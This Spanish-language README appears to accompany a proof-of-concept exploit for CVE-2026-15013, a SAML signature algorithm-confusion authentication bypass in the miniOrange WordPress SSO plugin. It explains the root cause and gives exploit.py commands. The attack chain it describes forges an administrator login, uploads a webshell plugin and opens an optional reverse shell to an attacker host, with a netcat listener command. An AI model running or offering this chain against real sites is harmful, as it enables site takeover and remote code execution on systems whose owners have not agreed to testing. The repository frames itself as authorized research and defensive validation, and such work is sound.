CVE-2026-15013 — miniOrange SAML SSO <= 5.4.3 Bypass de Autenticación (PoC)

Prueba de concepto para CVE-2026-15013: bypass de autenticación no autenticado mediante confusión de algoritmo de firma SAML (HMAC-SHA1) en el plugin de WordPress SAML Single Sign On – SSO Login de miniOrange (versiones hasta la 5.4.3 inclusive).

Solo pruebas autorizadas. Utilice este código únicamente en sistemas de su propiedad o sobre los que tenga permiso explícito para realizar pruebas. El acceso no autorizado a sistemas informáticos es ilegal.

Créditos

Registro CVE: https://www.cve.org/CVERecord?id=CVE-2026-15013

Causa raíz

Mo_SAML_Utilities::mo_saml_cast_key() confía en el algoritmo SignatureMethod del SAMLResponse controlado por el atacante. Cuando se establece en HMAC-SHA1, el plugin reformatea la clave pública RSA del IdP como un secreto compartido HMAC y verifica la firma con ella. Cualquiera que pueda leer el certificado del IdP (a menudo metadatos públicos) puede falsificar una aserción válida para cualquier usuario existente de WordPress, incluidos los administradores.

Corregido en 5.4.4+ (algoritmos inseguros / HMAC rechazado).

CVSS

9.8 CRÍTICO — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Requisitos

• Python 3.10+
• CLI openssl (para el certificado a clave pública)
• Acceso de red al sitio WordPress objetivo y, para la obtención automática de la clave, al descriptor SAML del IdP

Instalar dependencias:

pip install -r requirements.txt

Uso

Cadena completa (enumeración, login HMAC, admin, webshell):

python3 exploit.py -u https://TARGET.example

Shell inversa opcional (iniciar listener primero: nc -lvnp 4444):

python3 exploit.py -u https://TARGET.example --lhost YOUR_IP --lport 4444

Solo login (sin shell):

python3 exploit.py -u https://TARGET.example --no-shell

Anulaciones manuales:

python3 exploit.py -u https://TARGET.example \
  --issuer https://idp.example/realms/xxx \
  --nameid admin \
  -k ./idp-pubkey.pem

Argumentos

Flujo

1. Detectar WordPress y la versión del plugin (debe ser <= 5.4.3)
2. Descubrir ACS, entityID del SP, emisor del IdP
3. Obtener el certificado de firma del IdP (metadatos) y derivar la clave pública PEM (secreto HMAC)
4. Enumerar usuarios de WordPress
5. Forjar un SAMLResponse firmado con HMAC-SHA1 para cada usuario candidato
6. Seleccionar la cuenta con install_plugins (admin)
7. Subir el plugin webshell (exp/shell.php?c=id)
8. Shell inversa opcional mediante --lhost

Descargo de responsabilidad

Este proyecto es solo para fines educativos y de investigación de seguridad autorizada. Los autores y colaboradores no son responsables del uso indebido. Obtenga siempre permiso por escrito antes de probar sistemas de terceros. La vulnerabilidad original fue reportada mediante divulgación responsable; este repositorio solo demuestra la reproducción para aprendizaje y validación defensiva.

Referencias

• https://www.cve.org/CVERecord?id=CVE-2026-15013
• https://www.wordfence.com/threat-intel/vulnerabilities/id/ee95092d-6351-4612-872d-284165bc1201?source=cve
• Corrección del plugin: miniOrange SAML 5.4.4+

Licencia

Para uso en investigación. Sin garantía.